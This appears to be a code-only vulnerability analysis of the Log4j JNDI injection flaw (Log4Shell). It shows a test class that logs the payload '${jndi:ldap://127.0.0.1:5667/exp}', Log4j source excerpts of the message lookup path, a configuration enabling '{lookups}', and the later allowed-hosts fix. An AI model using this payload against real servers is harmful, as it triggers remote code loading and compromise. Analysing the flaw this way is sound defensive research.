log4j组件jndi注入

package test;
import org.apache.logging.log4j.LogManager;import org.apache.logging.log4j.Logger;
public class Logjndi {    private static final Logger logger = LogManager.getLogger();    public static void main(String[] args) {        String payload = "${jndi:ldap://127.0.0.1:5667/exp}";        logger.error(payload);    }}

        public StringBuilder toSerializable(final LogEvent event, final StringBuilder buffer) {            final int len = formatters.length;            for (int i = 0; i < len; i++) {                formatters[i].format(event, buffer);            }            if (replace != null) { // creates temporary objects                String str = buffer.toString();                str = replace.format(str);                buffer.setLength(0);                buffer.append(str);            }            return buffer;        }

                    if (workingBuilder.charAt(i) == '$' && workingBuilder.charAt(i + 1) == '{') {                        final String value = workingBuilder.substring(offset, workingBuilder.length());                        workingBuilder.setLength(offset);                        workingBuilder.append(config.getStrSubstitutor().replace(event, value));                    }

                        if (nestedVarCount == 0) {                            String varNameExpr = new String(chars, startPos + startMatchLen, pos - startPos - startMatchLen);                            if (substitutionInVariablesEnabled) {                                final StringBuilder bufName = new StringBuilder(varNameExpr);                                substitute(event, bufName, 0, bufName.length());                                varNameExpr = bufName.toString();                            }

        boolean filter(final Level level, final Marker marker, final String msg, final Throwable t) {            final Filter filter = config.getFilter();            if (filter != null) {                final Filter.Result r = filter.filter(logger, level, marker, (Object) msg, t);                if (r != Filter.Result.NEUTRAL) {                    return r == Filter.Result.ACCEPT;                }            }            return level != null && intLevel >= level.intLevel();        }

    private static final class LookupMessagePatternConverter extends MessagePatternConverter {        private final MessagePatternConverter delegate;        private final Configuration config;
        LookupMessagePatternConverter(final MessagePatternConverter delegate, final Configuration config) {            this.delegate = delegate;            this.config = config;        }
        /**         * {@inheritDoc}         */        @Override        public void format(final LogEvent event, final StringBuilder toAppendTo) {            int start = toAppendTo.length();            delegate.format(event, toAppendTo);            int indexOfSubstitution = toAppendTo.indexOf("${", start);            if (indexOfSubstitution >= 0) {                config.getStrSubstitutor()                        .replaceIn(event, toAppendTo, indexOfSubstitution, toAppendTo.length() - indexOfSubstitution);            }        }    }

    private static final String LOOKUPS = "lookups";…    private static boolean loadLookups(final String[] options) {        if (options != null) {            for (final String option : options) {                if (LOOKUPS.equalsIgnoreCase(option)) {                    return true;                }            }        }        return false;    }…    public static MessagePatternConverter newInstance(final Configuration config, final String[] options) {        boolean lookups = loadLookups(options);        String[] formats = withoutLookupOptions(options);        TextRenderer textRenderer = loadMessageRenderer(formats);        MessagePatternConverter result = formats == null || formats.length == 0                ? SimpleMessagePatternConverter.INSTANCE                : new FormattedMessagePatternConverter(formats);        if (lookups && config != null) {            result = new LookupMessagePatternConverter(result, config);        }        if (textRenderer != null) {            result = new RenderingPatternConverter(result, textRenderer);        }        return result;    }

###The level of internal Log4j events. Set to trace is one way to troubleshoot log4j. Do not care the name, it can be any word.status = infoname = TestPropertiesConfigappenders = console, rolling1, rolling2###First appender: 將log輸出到console###name可自訂appender.console.type = Consoleappender.console.name = stdoutappender.console.layout.type = PatternLayoutappender.console.layout.pattern = [%-5p] [%d{yyyy/MM/dd HH:mm:ss:SSS} %C-%M] : %m%nappender.console.target = System_out###Second appender: 將log輸出到檔案，並每天做rollover###name可自訂###filePattern: rollover時，舊log的命名規則###append: 重啟tomcat時，是否要先清除log file內容，還是直接append在最後###Polices: RollingFile可設定依照時間還是檔案大小做rollover。這裡設置TimeBasedTriggeringPolicy代表根據時間做rollover###interval: 根據filePattern決定，e.g.: interval=1，filePattern最小時間粒度為day，則每天觸發一次rollover (同理可設每小時、每分鐘做rollover)###modulate官方解釋:Indicates whether the interval should be adjusted to cause the next rollover to occur on the interval boundary.###DefaultRolloverStrategy: 預設策略會保留指定份數的log，過舊的會被刪除。這裡設置保留10份appender.rolling1.type = RollingFileappender.rolling1.name = dailyfileappender.rolling1.fileName = D:/logs/daily/daily.logappender.rolling1.filePattern = D:/logs/daily/daily-%d{yyyy-MM-dd}.logappender.rolling1.layout.type = PatternLayoutappender.rolling1.layout.pattern = [%-5p] [%d{yyyy/MM/dd HH:mm:ss:SSS} %C-%M] : %m%nappender.rolling1.append = trueappender.rolling1.policies.type = Policiesappender.rolling1.policies.time.type = TimeBasedTriggeringPolicyappender.rolling1.policies.time.interval = 1appender.rolling1.policies.time.modulate = trueappender.rolling1.strategy.type = DefaultRolloverStrategyappender.rolling1.strategy.max = 10###Third appender:只將error等級以上的log記錄到檔案，一樣採rolling file形式###由於上面已經定義了appender.rolling1，這裡需取不一樣的名稱(appender.rolling2)否則會報錯###ThresholdFilter: 指定log level threshold###SizeBasedTriggeringPolicy: 與上面不同，這裡設定檔案大小超過2MB則會做rolloverappender.rolling2.type = RollingFileappender.rolling2.name = errfileappender.rolling2.filter.threshold.type = ThresholdFilterappender.rolling2.filter.threshold.level = errorappender.rolling2.fileName = D:/logs/exception/error.logappender.rolling2.filePattern = D:/logs/exception/error-%d{yyyy-MM-dd}-%i.logappender.rolling2.layout.type = PatternLayoutappender.rolling2.layout.pattern = [%-5p] [%d{yyyy/MM/dd HH:mm:ss:SSS} %C-%M] : %m{lookups}%nappender.rolling2.append = trueappender.rolling2.policies.type = Policiesappender.rolling2.policies.size.type = SizeBasedTriggeringPolicyappender.rolling2.policies.size.size=2MBappender.rolling2.strategy.type = DefaultRolloverStrategyappender.rolling2.strategy.max = 5###Logger Mapping###文件結尾一定要設置rootLogger並指定要套用此logger的appender###這裡設置的意思是: 無論stdout appender、dailyfile appender、errfile appender，只要log level是info以上就會觸發相對應的配置###然而，errfile appender有額外設定ThresholdFilter，所以必須在error level以上才會觸發rootLogger.level = inforootLogger.appenderRef.consolelogdemo.ref = stdoutrootLogger.appenderRef.filelogdemo.ref = dailyfilerootLogger.appenderRef.filelogdemo2.ref = errfile

                    if (!allowedHosts.contains(uri.getHost())) {                        LOGGER.warn("Attempt to access ldap server not in allowed list");                        return null;                    }

    public synchronized <T> T lookup(final String name) throws NamingException {        try {            URI uri = new URI(name);